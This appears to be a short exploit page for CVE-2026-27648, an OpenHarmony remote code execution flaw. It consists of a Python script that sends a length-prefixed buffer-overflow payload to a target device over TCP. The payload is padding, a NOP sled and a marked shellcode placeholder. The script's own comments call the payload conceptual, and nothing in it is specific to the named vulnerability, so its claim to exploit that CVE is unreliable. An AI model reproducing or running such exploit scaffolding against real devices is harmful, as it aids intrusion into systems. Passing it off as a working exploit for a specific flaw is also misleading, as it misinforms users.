CVE-2026-27648 OpenHarmony远程代码执行漏洞

import socket import struct # Target IP and Port (Placeholder) TARGET_IP = "192.168.1.100" TARGET_PORT = 8080 # Malicious payload (Conceptual buffer overflow or command injection) # Payload designed to trigger RCE in pre-installed app context payload = b"\x41" * 100 # Padding payload += b"\x90" * 32 # NOP Sled # Shellcode placeholder (exec /bin/sh or equivalent) payload += b"\xcc" * 64 def trigger_vulnerability(): """ Function to exploit CVE-2026-27648 Sends a crafted packet to the target OpenHarmony device. """ try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Send malicious packet # Constructing the specific protocol header required by OpenHarmony service header = struct.pack(">I", len(payload)) s.send(header + payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": trigger_vulnerability()